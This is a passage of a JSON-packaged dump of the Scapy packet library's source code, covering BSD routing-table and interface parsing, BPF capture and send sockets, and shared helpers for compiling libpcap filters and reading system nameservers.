addrs.RTA_NETMASK:\n                nm = msg.addrs[i]\n                if nm.sa_family == socket.AF_INET:\n                    mask = atol(nm.sin_addr)\n                elif nm.sa_family in [0x00, 0xFF]:  # NetBSD\n                    mask = struct.unpack(\"<I\", nm.sa_data[:4].rjust(4, b\"\\x00\"))[0]\n                else:\n                    mask = int.from_bytes(nm.sa_data[:4], \"big\")\n                i += 1\n            if addrs.RTA_GENMASK:\n                i += 1\n            if addrs.RTA_IFP:\n                iface = msg.addrs[i].sdl_iface.decode(errors=\"ignore\")\n                i += 1\n            if addrs.RTA_IFA:\n                addr = msg.addrs[i].sin_addr\n                i += 1\n        except Exception:\n            log_runtime.debug(\"Failed to read route %s\" % repr(msg))\n            continue\n        if not iface:\n            iface = ifaces[msg.rtm_index][\"name\"]\n        routes.append((net, mask, gw, iface, addr, metric))\n    if OPENBSD or DARWIN:\n        # OpenBSD and OSX include multicast routes\n        return routes\n    # Add multicast routes, as those are missing by default\n    for _iface in ifaces.values():\n        if _iface[\"flags\"].MULTICAST:\n            try:\n                addr = next(\n                    x[\"address\"]\n                    for x in _iface[\"ips\"]\n                    if x[\"af_family\"] == socket.AF_INET\n                )\n            except StopIteration:\n                continue\n            routes.append(\n                (0xE0000000, 0xF0000000, \"0.0.0.0\", _iface[\"name\"], addr, 250)\n            )\n    return routes\n\n\ndef read_routes6():\n    \"\"\"\n    Read the IPv6 routes using PF_ROUTE\n    \"\"\"\n    mib = [\n        CTL_NET,\n        socket.PF_ROUTE,\n        0,\n        int(socket.AF_INET6),\n        NET_RT_DUMP,\n        0,\n    ]\n    if not NETBSD and not DARWIN:\n        # NetBSD / OSX is missing the fib\n        if OPENBSD:\n            fib = 0  # default table\n        else:  # FreeBSD\n            fib = -1  # means 'all'\n        mib.append(fib)\n    mib = (ctypes.c_int * len(mib))(*mib)\n    resp = _sr1_bsdsysctl(mib)\n    if not resp:\n        return []\n    ifaces = _get_if_list()\n    routes = []\n    for msg in resp.msgs:\n        if msg.rtm_type != 0x4 and (not DARWIN or msg.rtm_type != 0x14):  # RTM_GET(2)\n            continue\n        # Parse route. addrs contains what addresses are present\n        flags = msg.rtm_flags\n        if not flags.RTF_UP:\n            continue\n        if DARWIN and flags.RTF_WASCLONED and msg.rtm_parentflags.RTF_PRCLONING:\n            # OSX needs filtering\n            continue\n        addrs = msg.rtm_addrs\n        prefix = \"::\"\n        plen = 128\n        nh = \"::\"\n        iface = \"\"\n        metric = 1\n        candidates = []\n        i = 0\n        try:\n            if addrs.RTA_DST:\n                prefix = msg.addrs[i].sin6_addr\n                i += 1\n            if addrs.RTA_GATEWAY:\n                if msg.addrs[i].sa_family == socket.AF_LINK:\n                    nh = \"::\"\n                else:\n                    nh = msg.addrs[i].sin6_addr or \"::\"\n                i += 1\n            if addrs.RTA_NETMASK:\n                nm = msg.addrs[i]\n                if nm.sa_family == socket.AF_INET6:\n                    plen = in6_mask2cidr(\n                        inet_pton(socket.AF_INET6, msg.addrs[i].sin6_addr)\n                    )\n                elif nm.sa_family in [0xFF, 0x00]:  # NetBSD\n                    plen = in6_mask2cidr(\n                        # The 6 first octets seem to be garbage. This is weird\n                        nm.sa_data[6:].ljust(16, b\"\\x00\")\n                    )\n                else:\n                    plen = int.from_bytes(nm.sa_data, \"big\")\n                i += 1\n            if addrs.RTA_GENMASK:\n                i += 1\n            if addrs.RTA_IFP:\n                iface = msg.addrs[i].sdl_iface.decode(errors=\"ignore\")\n                i += 1\n            if addrs.RTA_IFA:\n                candidates.append(msg.addrs[i].sin6_addr)\n                i += 1\n        except Exception:\n            log_runtime.debug(\"Failed to read route %s\" % repr(msg))\n            continue\n        if not iface:\n            iface = ifaces[msg.rtm_index][\"name\"]\n        routes.append((prefix, plen, nh, iface, candidates, metric))\n    if OPENBSD or DARWIN:\n        # OpenBSD and OSX include multicast routes\n        return routes\n    # Add multicast routes, as those are missing by default\n    for _iface in ifaces.values():\n        if _iface[\"flags\"].MULTICAST:\n            addrs = [\n                x[\"address\"] for x in _iface[\"ips\"] if x[\"af_family\"] == socket.AF_INET6\n            ]\n            if not addrs:\n                continue\n            routes.append((\"ff00::\", 8, \"::\", _iface[\"name\"], addrs, 250))\n    return routes\n\n\ndef _get_if_list():\n    # type: () -> Dict[int, Dict[str, Any]]\n    \"\"\"\n    Read the interfaces list using a PF_ROUTE socket.\n    \"\"\"\n    mib = (ctypes.c_int * 6)(\n        CTL_NET,\n        socket.PF_ROUTE,\n        0,\n        int(socket.AF_UNSPEC),\n        NET_RT_IFLIST,\n        0,\n    )\n    resp = _sr1_bsdsysctl(mib)\n    if not resp:\n        return {}\n    lifips = {}\n    for msg in resp.msgs:\n        if msg.rtm_type not in [0x0C, 0x16]:  # RTM_NEWADDR\n            continue\n        if not msg.ifm_addrs.RTA_IFA:\n            continue\n        ifindex = msg.ifm_index\n        addrindex = (\n            msg.ifm_addrs.RTA_DST\n            + msg.ifm_addrs.RTA_GATEWAY\n            + msg.ifm_addrs.RTA_NETMASK\n            + msg.ifm_addrs.RTA_GENMASK\n        )\n        addr = msg.addrs[addrindex]\n        if addr.sa_family not in [socket.AF_INET, socket.AF_INET6]:\n            continue\n        data = {\n            \"af_family\": addr.sa_family,\n            \"index\": ifindex,\n            \"address\": addr.sin_addr,\n        }\n        if addr.sa_family == socket.AF_INET:  # ipv4\n            data[\"address\"] = addr.sin_addr\n        else:  # ipv6\n            data.update(\n                {\n                    \"address\": addr.sin6_addr,\n                    \"scope\": in6_getscope(addr.sin6_addr),\n                }\n            )\n        lifips.setdefault(ifindex, list()).append(data)\n    interfaces = {}\n    for msg in resp.msgs:\n        if msg.rtm_type != 0xE and (not NETBSD or msg.rtm_type != 0x14):  # RTM_IFINFO\n            continue\n        ifindex = msg.ifm_index\n        ifname = None\n        mac = \"00:00:00:00:00:00\"\n        itype = -1\n        ifflags = msg.ifm_flags\n        ips = []\n        for addr in msg.addrs:\n            if addr.sa_family == socket.AF_LINK:\n                ifname = addr.sdl_iface.decode()\n                itype = addr.sdl_type\n                if addr.sdl_addr:\n                    mac = addr.sdl_addr\n        if ifname is not None:\n            if ifindex in lifips:\n                ips = lifips[ifindex]\n            interfaces[ifindex] = {\n                \"name\": ifname,\n                \"index\": ifindex,\n                \"flags\": ifflags,\n                \"mac\": mac,\n                \"ips\": ips,\n                \"type\": itype,\n            }\n    return interfaces\n"
  },
  {
    "path": "scapy/arch/bpf/supersocket.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Guillaume Valadon <guillaume@valadon.net>\n\n\"\"\"\nScapy *BSD native support - BPF sockets\n\"\"\"\n\nfrom select import select\n\nimport abc\nimport ctypes\nimport errno\nimport fcntl\nimport os\nimport platform\nimport struct\nimport sys\nimport time\n\nfrom scapy.arch.bpf.core import get_dev_bpf, attach_filter\nfrom scapy.arch.bpf.consts import (\n    BIOCGBLEN,\n    BIOCGDLT,\n    BIOCGSTATS,\n    BIOCIMMEDIATE,\n    BIOCPROMISC,\n    BIOCSBLEN,\n    BIOCSDLT,\n    BIOCSETIF,\n    BIOCSHDRCMPLT,\n    BIOCSTSTAMP,\n    BPF_BUFFER_LENGTH,\n    BPF_T_NANOTIME,\n)\nfrom scapy.config import conf\nfrom scapy.consts import DARWIN, FREEBSD, NETBSD\nfrom scapy.data import ETH_P_ALL, DLT_IEEE802_11_RADIO\nfrom scapy.error import Scapy_Exception, warning\nfrom scapy.interfaces import network_name, _GlobInterfaceType\nfrom scapy.supersocket import SuperSocket\nfrom scapy.compat import raw\n\n# Typing\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TYPE_CHECKING,\n)\nif TYPE_CHECKING:\n    from scapy.packet import Packet\n\n# Structures & c types\n\nif FREEBSD or NETBSD:\n    # On 32bit architectures long might be 32bit.\n    BPF_ALIGNMENT = ctypes.sizeof(ctypes.c_long)\nelse:\n    # DARWIN, OPENBSD\n    BPF_ALIGNMENT = ctypes.sizeof(ctypes.c_int32)\n\n_NANOTIME = FREEBSD  # Kinda disappointing availability TBH\n\nif _NANOTIME:\n    class bpf_timeval(ctypes.Structure):\n        # actually a bpf_timespec\n        _fields_ = [(\"tv_sec\", ctypes.c_ulong),\n                    (\"tv_nsec\", ctypes.c_ulong)]\nelif NETBSD:\n    class bpf_timeval(ctypes.Structure):\n        _fields_ = [(\"tv_sec\", ctypes.c_ulong),\n                    (\"tv_usec\", ctypes.c_ulong)]\nelse:\n    class bpf_timeval(ctypes.Structure):  # type: ignore\n        _fields_ = [(\"tv_sec\", ctypes.c_uint32),\n                    (\"tv_usec\", ctypes.c_uint32)]\n\n\nclass bpf_hdr(ctypes.Structure):\n    # Also called bpf_xhdr on some OSes\n    _fields_ = [(\"bh_tstamp\", bpf_timeval),\n                (\"bh_caplen\", ctypes.c_uint32),\n                (\"bh_datalen\", ctypes.c_uint32),\n                (\"bh_hdrlen\", ctypes.c_uint16)]\n\n\n_bpf_hdr_len = ctypes.sizeof(bpf_hdr)\n\n# SuperSockets definitions\n\n\nclass _L2bpfSocket(SuperSocket):\n    \"\"\"\"Generic Scapy BPF Super Socket\"\"\"\n    __slots__ = [\"bpf_fd\"]\n\n    desc = \"read/write packets using BPF\"\n    nonblocking_socket = True\n\n    def __init__(self,\n                 iface=None,  # type: Optional[_GlobInterfaceType]\n                 type=ETH_P_ALL,  # type: int\n                 promisc=None,  # type: Optional[bool]\n                 filter=None,  # type: Optional[str]\n                 nofilter=0,  # type: int\n                 monitor=False,  # type: bool\n                 ):\n        if monitor:\n            raise Scapy_Exception(\n                \"We do not natively support monitor mode on BPF. \"\n                \"Please turn on libpcap using conf.use_pcap = True\"\n            )\n\n        self.fd_flags = None  # type: Optional[int]\n        self.type = type\n        self.bpf_fd = -1\n\n        # SuperSocket mandatory variables\n        if promisc is None:\n            promisc = conf.sniff_promisc\n        self.promisc = promisc\n\n        self.iface = network_name(iface or conf.iface)\n\n        # Get the BPF handle\n        self.bpf_fd, self.dev_bpf = get_dev_bpf()\n\n        if FREEBSD:\n            # Set the BPF timeval format. Availability issues here !\n            try:\n                fcntl.ioctl(\n                    self.bpf_fd, BIOCSTSTAMP,\n                    struct.pack('I', BPF_T_NANOTIME)\n                )\n            except IOError:\n                raise Scapy_Exception(\"BIOCSTSTAMP failed on /dev/bpf%i\" %\n                                      self.dev_bpf)\n        # Set the BPF buffer length\n        try:\n            fcntl.ioctl(\n                self.bpf_fd, BIOCSBLEN,\n                struct.pack('I', BPF_BUFFER_LENGTH)\n            )\n        except IOError:\n            raise Scapy_Exception(\"BIOCSBLEN failed on /dev/bpf%i\" %\n                                  self.dev_bpf)\n\n        # Assign the network interface to the BPF handle\n        try:\n            fcntl.ioctl(\n                self.bpf_fd, BIOCSETIF,\n                struct.pack(\"16s16x\", self.iface.encode())\n            )\n        except IOError:\n            raise Scapy_Exception(\"BIOCSETIF failed on %s\" % self.iface)\n\n        # Set the interface into promiscuous\n        if self.promisc:\n            self.set_promisc(True)\n\n        # Set the interface to monitor mode\n        # Note: - trick from libpcap/pcap-bpf.c - monitor_mode()\n        #       - it only works on OS X 10.5 and later\n        if DARWIN and monitor:\n            # Convert macOS version to an integer\n            try:\n                tmp_mac_version = platform.mac_ver()[0].split(\".\")\n                tmp_mac_version = [int(num) for num in tmp_mac_version]\n                macos_version = tmp_mac_version[0] * 10000\n                macos_version += tmp_mac_version[1] * 100 + tmp_mac_version[2]\n            except (IndexError, ValueError):\n                warning(\"Could not determine your macOS version!\")\n                macos_version = sys.maxint\n\n            # Disable 802.11 monitoring on macOS Catalina (aka 10.15) and upper\n            if macos_version < 101500:\n                dlt_radiotap = struct.pack('I', DLT_IEEE802_11_RADIO)\n                try:\n                    fcntl.ioctl(self.bpf_fd, BIOCSDLT, dlt_radiotap)\n                except IOError:\n                    raise Scapy_Exception(\"Can't set %s into monitor mode!\" %\n                                          self.iface)\n            else:\n                warning(\"Scapy won't activate 802.11 monitoring, \"\n                        \"as it will crash your macOS kernel!\")\n\n        # Don't block on read\n        try:\n            fcntl.ioctl(self.bpf_fd, BIOCIMMEDIATE, struct.pack('I', 1))\n        except IOError:\n            raise Scapy_Exception(\"BIOCIMMEDIATE failed on /dev/bpf%i\" %\n                                  self.dev_bpf)\n\n        # Scapy will provide the link layer source address\n        # Otherwise, it is written by the kernel\n        try:\n            fcntl.ioctl(self.bpf_fd, BIOCSHDRCMPLT, struct.pack('i', 1))\n        except IOError:\n            raise Scapy_Exception(\"BIOCSHDRCMPLT failed on /dev/bpf%i\" %\n                                  self.dev_bpf)\n\n        # Configure the BPF filter\n        filter_attached = False\n        if not nofilter:\n            if conf.except_filter:\n                if filter:\n                    filter = \"(%s) and not (%s)\" % (filter, conf.except_filter)\n                else:\n                    filter = \"not (%s)\" % conf.except_filter\n            if filter is not None:\n                try:\n                    attach_filter(self.bpf_fd, filter, self.iface)\n                    filter_attached = True\n                except (ImportError, Scapy_Exception) as ex:\n                    raise Scapy_Exception(\"Cannot set filter: %s\" % ex)\n        if NETBSD and filter_attached is False:\n            # On NetBSD, a filter must be attached to an interface, otherwise\n            # no frame will be received by os.read(). When no filter has been\n            # configured, Scapy uses a simple tcpdump filter that does nothing\n            # more than ensuring the length frame is not null.\n            filter = \"greater 0\"\n            try:\n                attach_filter(self.bpf_fd, filter, self.iface)\n            except ImportError as ex:\n                warning(\"Cannot set filter: %s\" % ex)\n\n        # Set the guessed packet class\n        self.guessed_cls = self.guess_cls()\n\n    def set_promisc(self, value):\n        # type: (bool) -> None\n        \"\"\"Set the interface in promiscuous mode\"\"\"\n\n        try:\n            fcntl.ioctl(self.bpf_fd, BIOCPROMISC, struct.pack('i', value))\n        except IOError:\n            raise Scapy_Exception(\"Cannot set promiscuous mode on interface \"\n                                  \"(%s)!\" % self.iface)\n\n    def __del__(self):\n        # type: () -> None\n        \"\"\"Close the file descriptor on delete\"\"\"\n        # When the socket is deleted on Scapy exits, __del__ is\n        # sometimes called \"too late\", and self is None\n        if self is not None:\n            self.close()\n\n    def guess_cls(self):\n        # type: () -> type\n        \"\"\"Guess the packet class that must be used on the interface\"\"\"\n\n        # Get the data link type\n        try:\n            ret = fcntl.ioctl(self.bpf_fd, BIOCGDLT, struct.pack('I', 0))\n            linktype = struct.unpack('I', ret)[0]\n        except IOError:\n            cls = conf.default_l2\n            warning(\"BIOCGDLT failed: unable to guess type. Using %s !\",\n                    cls.name)\n            return cls\n\n        # Retrieve the corresponding class\n        try:\n            return conf.l2types.num2layer[linktype]\n        except KeyError:\n            cls = conf.default_l2\n            warning(\"Unable to guess type (type %i). Using %s\", linktype, cls.name)\n            return cls\n\n    def set_nonblock(self, set_flag=True):\n        # type: (bool) -> None\n        \"\"\"Set the non blocking flag on the socket\"\"\"\n\n        # Get the current flags\n        if self.fd_flags is None:\n            try:\n                self.fd_flags = fcntl.fcntl(self.bpf_fd, fcntl.F_GETFL)\n            except IOError:\n                warning(\"Cannot get flags on this file descriptor !\")\n                return\n\n        # Set the non blocking flag\n        if set_flag:\n            new_fd_flags = self.fd_flags | os.O_NONBLOCK\n        else:\n            new_fd_flags = self.fd_flags & ~os.O_NONBLOCK\n\n        try:\n            fcntl.fcntl(self.bpf_fd, fcntl.F_SETFL, new_fd_flags)\n            self.fd_flags = new_fd_flags\n        except Exception:\n            warning(\"Can't set flags on this file descriptor !\")\n\n    def get_stats(self):\n        # type: () -> Tuple[Optional[int], Optional[int]]\n        \"\"\"Get received / dropped statistics\"\"\"\n\n        try:\n            ret = fcntl.ioctl(self.bpf_fd, BIOCGSTATS, struct.pack(\"2I\", 0, 0))\n            return struct.unpack(\"2I\", ret)\n        except IOError:\n            warning(\"Unable to get stats from BPF !\")\n            return (None, None)\n\n    def get_blen(self):\n        # type: () -> Optional[int]\n        \"\"\"Get the BPF buffer length\"\"\"\n\n        try:\n            ret = fcntl.ioctl(self.bpf_fd, BIOCGBLEN, struct.pack(\"I\", 0))\n            return struct.unpack(\"I\", ret)[0]  # type: ignore\n        except IOError:\n            warning(\"Unable to get the BPF buffer length\")\n            return None\n\n    def fileno(self):\n        # type: () -> int\n        \"\"\"Get the underlying file descriptor\"\"\"\n        return self.bpf_fd\n\n    def close(self):\n        # type: () -> None\n        \"\"\"Close the Super Socket\"\"\"\n\n        if not self.closed and self.bpf_fd != -1:\n            os.close(self.bpf_fd)\n            self.closed = True\n            self.bpf_fd = -1\n\n    @abc.abstractmethod\n    def send(self, x):\n        # type: (Packet) -> int\n        \"\"\"Dummy send method\"\"\"\n        raise Exception(\n            \"Can't send anything with %s\" % self.__class__.__name__\n        )\n\n    @abc.abstractmethod\n    def recv_raw(self, x=BPF_BUFFER_LENGTH):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Dummy recv method\"\"\"\n        raise Exception(\n            \"Can't recv anything with %s\" % self.__class__.__name__\n        )\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        \"\"\"This function is called during sendrecv() routine to select\n        the available sockets.\n        \"\"\"\n        # sockets, None (means use the socket's recv() )\n        return bpf_select(sockets, remain)\n\n\nclass L2bpfListenSocket(_L2bpfSocket):\n    \"\"\"\"Scapy L2 BPF Listen Super Socket\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        self.received_frames = []  # type: List[Tuple[Optional[type], Optional[bytes], Optional[float]]]  # noqa: E501\n        super(L2bpfListenSocket, self).__init__(*args, **kwargs)\n\n    def buffered_frames(self):\n        # type: () -> int\n        \"\"\"Return the number of frames in the buffer\"\"\"\n        return len(self.received_frames)\n\n    def get_frame(self):\n        # type: () -> Tuple[Optional[type], Optional[bytes], Optional[float]]\n        \"\"\"Get a frame or packet from the received list\"\"\"\n        if self.received_frames:\n            return self.received_frames.pop(0)\n        else:\n            return None, None, None\n\n    @staticmethod\n    def bpf_align(bh_h, bh_c):\n        # type: (int, int) -> int\n        \"\"\"Return the index to the end of the current packet\"\"\"\n\n        # from <net/bpf.h>\n        return ((bh_h + bh_c) + (BPF_ALIGNMENT - 1)) & ~(BPF_ALIGNMENT - 1)\n\n    def extract_frames(self, bpf_buffer):\n        # type: (bytes) -> None\n        \"\"\"\n        Extract all frames from the buffer and stored them in the received list\n        \"\"\"\n\n        # Ensure that the BPF buffer contains at least the header\n        len_bb = len(bpf_buffer)\n        if len_bb < _bpf_hdr_len:\n            return\n\n        # Extract useful information from the BPF header\n        bh_hdr = bpf_hdr.from_buffer_copy(bpf_buffer)\n        if bh_hdr.bh_datalen == 0:\n            return\n\n        # Get and store the Scapy object\n        frame_str = bpf_buffer[\n            bh_hdr.bh_hdrlen:bh_hdr.bh_hdrlen + bh_hdr.bh_caplen\n        ]\n        if _NANOTIME:\n            ts = bh_hdr.bh_tstamp.tv_sec + 1e-9 * bh_hdr.bh_tstamp.tv_nsec\n        else:\n            ts = bh_hdr.bh_tstamp.tv_sec + 1e-6 * bh_hdr.bh_tstamp.tv_usec\n        self.received_frames.append(\n            (self.guessed_cls, frame_str, ts)\n        )\n\n        # Extract the next frame\n        end = self.bpf_align(bh_hdr.bh_hdrlen, bh_hdr.bh_caplen)\n        if (len_bb - end) >= 20:\n            self.extract_frames(bpf_buffer[end:])\n\n    def recv_raw(self, x=BPF_BUFFER_LENGTH):\n        # type: (int) -> Tuple[Optional[type], Optional[bytes], Optional[float]]\n        \"\"\"Receive a frame from the network\"\"\"\n\n        x = min(x, BPF_BUFFER_LENGTH)\n\n        if self.buffered_frames():\n            # Get a frame from the buffer\n            return self.get_frame()\n\n        # Get data from BPF\n        try:\n            bpf_buffer = os.read(self.bpf_fd, x)\n        except EnvironmentError as exc:\n            if exc.errno != errno.EAGAIN:\n                warning(\"BPF recv_raw()\", exc_info=True)\n            return None, None, None\n\n        # Extract all frames from the BPF buffer\n        self.extract_frames(bpf_buffer)\n        return self.get_frame()\n\n\nclass L2bpfSocket(L2bpfListenSocket):\n    \"\"\"\"Scapy L2 BPF Super Socket\"\"\"\n\n    def send(self, x):\n        # type: (Packet) -> int\n        \"\"\"Send a frame\"\"\"\n        return os.write(self.bpf_fd, raw(x))\n\n    def nonblock_recv(self):\n        # type: () -> Optional[Packet]\n        \"\"\"Non blocking receive\"\"\"\n\n        if self.buffered_frames():\n            # Get a frame from the buffer\n            return L2bpfListenSocket.recv(self)\n\n        # Set the non blocking flag, read from the socket, and unset the flag\n        self.set_nonblock(True)\n        pkt = L2bpfListenSocket.recv(self)\n        self.set_nonblock(False)\n        return pkt\n\n\nclass L3bpfSocket(L2bpfSocket):\n\n    def __init__(self,\n                 iface=None,  # type: Optional[_GlobInterfaceType]\n                 type=ETH_P_ALL,  # type: int\n                 promisc=None,  # type: Optional[bool]\n                 filter=None,  # type: Optional[str]\n                 nofilter=0,  # type: int\n                 monitor=False,  # type: bool\n                 ):\n        super(L3bpfSocket, self).__init__(\n            iface=iface,\n            type=type,\n            promisc=promisc,\n            filter=filter,\n            nofilter=nofilter,\n            monitor=monitor,\n        )\n        self.filter = filter\n        self.send_socks = {network_name(self.iface): self}\n\n    def recv(self, x: int = BPF_BUFFER_LENGTH, **kwargs: Any) -> Optional['Packet']:\n        \"\"\"Receive on layer 3\"\"\"\n        r = SuperSocket.recv(self, x, **kwargs)\n        if r:\n            r.payload.time = r.time\n            return r.payload\n        return r\n\n    def send(self, pkt):\n        # type: (Packet) -> int\n        \"\"\"Send a packet\"\"\"\n        from scapy.layers.l2 import Loopback\n\n        # Use the routing table to find the output interface\n        iff = pkt.route()[0]\n        if iff is None:\n            iff = network_name(conf.iface)\n\n        # Assign the network interface to the BPF handle\n        if iff not in self.send_socks:\n            self.send_socks[iff] = L3bpfSocket(\n                iface=iff,\n                type=self.type,\n                filter=self.filter,\n                promisc=self.promisc,\n            )\n        fd = self.send_socks[iff]\n\n        # Build the frame\n        #\n        # LINKTYPE_NULL / DLT_NULL (Loopback) is a special case. From the\n        # bpf(4) man page (from macOS/Darwin, but also for BSD):\n        #\n        # \"A packet can be sent out on the network by writing to a bpf file\n        # descriptor. [...] Currently only writes to Ethernets and SLIP links\n        # are supported.\"\n        #\n        # Headers are only mentioned for reads, not writes, and it has the\n        # name \"NULL\" and id=0.\n        #\n        # The _correct_ behaviour appears to be that one should add a BSD\n        # Loopback header to every sent packet. This is needed by FreeBSD's\n        # if_lo, and Darwin's if_lo & if_utun.\n        #\n        # tuntaposx appears to have interpreted \"NULL\" as \"no headers\".\n        # Thankfully its interfaces have a different name (tunX) to Darwin's\n        # if_utun interfaces (utunX).\n        #\n        # There might be other drivers which make the same mistake as\n        # tuntaposx, but these are typically provided with VPN software, and\n        # Apple are breaking these kexts in a future version of macOS... so\n        # the problem will eventually go away. They already don't work on Macs\n        # with Apple Silicon (M1).\n        if DARWIN and iff.startswith('tun') and self.guessed_cls == Loopback:\n            frame = pkt\n        elif FREEBSD and (iff.startswith('tun') or iff.startswith('tap')):\n            # On FreeBSD, the bpf manpage states that it is only possible\n            # to write packets to Ethernet and SLIP network interfaces\n            # using /dev/bpf\n            #\n            # Note: `open(\"/dev/tun0\", \"wb\").write(raw(pkt())) should be\n            #   used\n            warning(\"Cannot write to %s according to the documentation!\", iff)\n            return\n        else:\n            frame = fd.guessed_cls() / pkt\n\n        pkt.sent_time = time.time()\n\n        # Send the frame\n        return L2bpfSocket.send(fd, frame)\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        socks = []  # type: List[SuperSocket]\n        for sock in sockets:\n            if isinstance(sock, L3bpfSocket):\n                socks += sock.send_socks.values()\n            else:\n                socks.append(sock)\n        return L2bpfSocket.select(socks, remain=remain)\n\n\n# Sockets manipulation functions\n\ndef bpf_select(fds_list, timeout=None):\n    # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n    \"\"\"A call to recv() can return several frames. This functions hides the fact\n       that some frames are read from the internal buffer.\"\"\"\n\n    # Check file descriptors types\n    bpf_scks_buffered = list()  # type: List[SuperSocket]\n    select_fds = list()\n\n    for tmp_fd in fds_list:\n\n        # Specific BPF sockets: get buffers status\n        if isinstance(tmp_fd, L2bpfListenSocket) and tmp_fd.buffered_frames():\n            bpf_scks_buffered.append(tmp_fd)\n            continue\n\n        # Regular file descriptors or empty BPF buffer\n        select_fds.append(tmp_fd)\n\n    if select_fds:\n        # Call select for sockets with empty buffers\n        if timeout is None:\n            timeout = 0.05\n        ready_list, _, _ = select(select_fds, [], [], timeout)\n        return bpf_scks_buffered + ready_list\n    else:\n        return bpf_scks_buffered\n"
  },
  {
    "path": "scapy/arch/common.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nFunctions common to different architectures\n\"\"\"\n\nimport ctypes\nimport re\nimport socket\n\nfrom scapy.config import conf\nfrom scapy.data import MTU, ARPHRD_TO_DLT, DLT_RAW_ALT, DLT_RAW\nfrom scapy.error import Scapy_Exception, warning\nfrom scapy.interfaces import network_name, resolve_iface, NetworkInterface\nfrom scapy.libs.structures import bpf_program\nfrom scapy.pton_ntop import inet_pton\nfrom scapy.utils import decode_locale_str\n\n# Type imports\nimport scapy\nfrom typing import (\n    List,\n    Optional,\n    Union,\n)\n\n# From if.h\n_iff_flags = [\n    \"UP\",\n    \"BROADCAST\",\n    \"DEBUG\",\n    \"LOOPBACK\",\n    \"POINTTOPOINT\",\n    \"NOTRAILERS\",\n    \"RUNNING\",\n    \"NOARP\",\n    \"PROMISC\",\n    \"ALLMULTI\",\n    \"MASTER\",\n    \"SLAVE\",\n    \"MULTICAST\",\n    \"PORTSEL\",\n    \"AUTOMEDIA\",\n    \"DYNAMIC\",\n    \"LOWER_UP\",\n    \"DORMANT\",\n    \"ECHO\"\n]\n\n\ndef get_if_raw_addr(iff):\n    # type: (Union[NetworkInterface, str]) -> bytes\n    \"\"\"Return the raw IPv4 address of interface\"\"\"\n    iff = resolve_iface(iff)\n    if not iff.ip:\n        return b\"\\x00\" * 4\n    return inet_pton(socket.AF_INET, iff.ip)\n\n\n# BPF HANDLERS\n\n\ndef compile_filter(filter_exp,  # type: str\n                   iface=None,  # type: Optional[Union[str, 'scapy.interfaces.NetworkInterface']]  # noqa: E501\n                   linktype=None,  # type: Optional[int]\n                   promisc=False  # type: bool\n                   ):\n    # type: (...) -> bpf_program\n    \"\"\"Asks libpcap to parse the filter, then build the matching\n    BPF bytecode.\n\n    :param iface: if provided, use the interface to compile\n    :param linktype: if provided, use the linktype to compile\n    \"\"\"\n    try:\n        from scapy.libs.winpcapy import (\n            PCAP_ERRBUF_SIZE,\n            pcap_open_live,\n            pcap_compile,\n            pcap_compile_nopcap,\n            pcap_close\n        )\n    except OSError:\n        raise ImportError(\n            \"libpcap is not available. Cannot compile filter !\"\n        )\n    from ctypes import create_string_buffer\n    bpf = bpf_program()\n    bpf_filter = create_string_buffer(filter_exp.encode(\"utf8\"))\n    if not linktype:\n        # Try to guess linktype to avoid root\n        if not iface:\n            if not conf.iface:\n                raise Scapy_Exception(\n                    \"Please provide an interface or linktype!\"\n                )\n            iface = conf.iface\n        # Try to guess linktype to avoid requiring root\n        try:\n            arphd = resolve_iface(iface).type\n            linktype = ARPHRD_TO_DLT.get(arphd)\n        except Exception:\n            # Failed to use linktype: use the interface\n            pass\n    if linktype is not None:\n        # Some conversion aliases (e.g. linktype_to_dlt in libpcap)\n        if linktype == DLT_RAW_ALT:\n            linktype = DLT_RAW\n        ret = pcap_compile_nopcap(\n            MTU, linktype, ctypes.byref(bpf), bpf_filter, 1, -1\n        )\n    elif iface:\n        err = create_string_buffer(PCAP_ERRBUF_SIZE)\n        iface_b = create_string_buffer(network_name(iface).encode(\"utf8\"))\n        pcap = pcap_open_live(\n            iface_b, MTU, promisc, 0, err\n        )\n        error = decode_locale_str(bytearray(err).strip(b\"\\x00\"))\n        if error:\n            raise OSError(error)\n        ret = pcap_compile(\n            pcap, ctypes.byref(bpf), bpf_filter, 1, -1\n        )\n        pcap_close(pcap)\n    if ret == -1:\n        raise Scapy_Exception(\n            \"Failed to compile filter expression %s (%s)\" % (filter_exp, ret)\n        )\n    return bpf\n\n\ndef free_filter(bp: bpf_program) -> None:\n    \"\"\"\n    Free a bpf_program created with compile_filter\n    \"\"\"\n    from scapy.libs.winpcapy import pcap_freecode\n    pcap_freecode(ctypes.byref(bp))\n\n\n#######\n# DNS #\n#######\n\ndef read_nameservers() -> List[str]:\n    \"\"\"Return the nameservers configured by the OS\n    \"\"\"\n    try:\n        with open('/etc/resolv.conf', 'r') as fd:\n            return re.findall(r\"nameserver\\s+([^\\s]+)\", fd.read())\n    except FileNotFoundError:\n        warning(\"Could not retrieve the OS's nameserver !\")\n        return []\n"
  },
  {
    "path": "scapy/arch/libpcap.py",
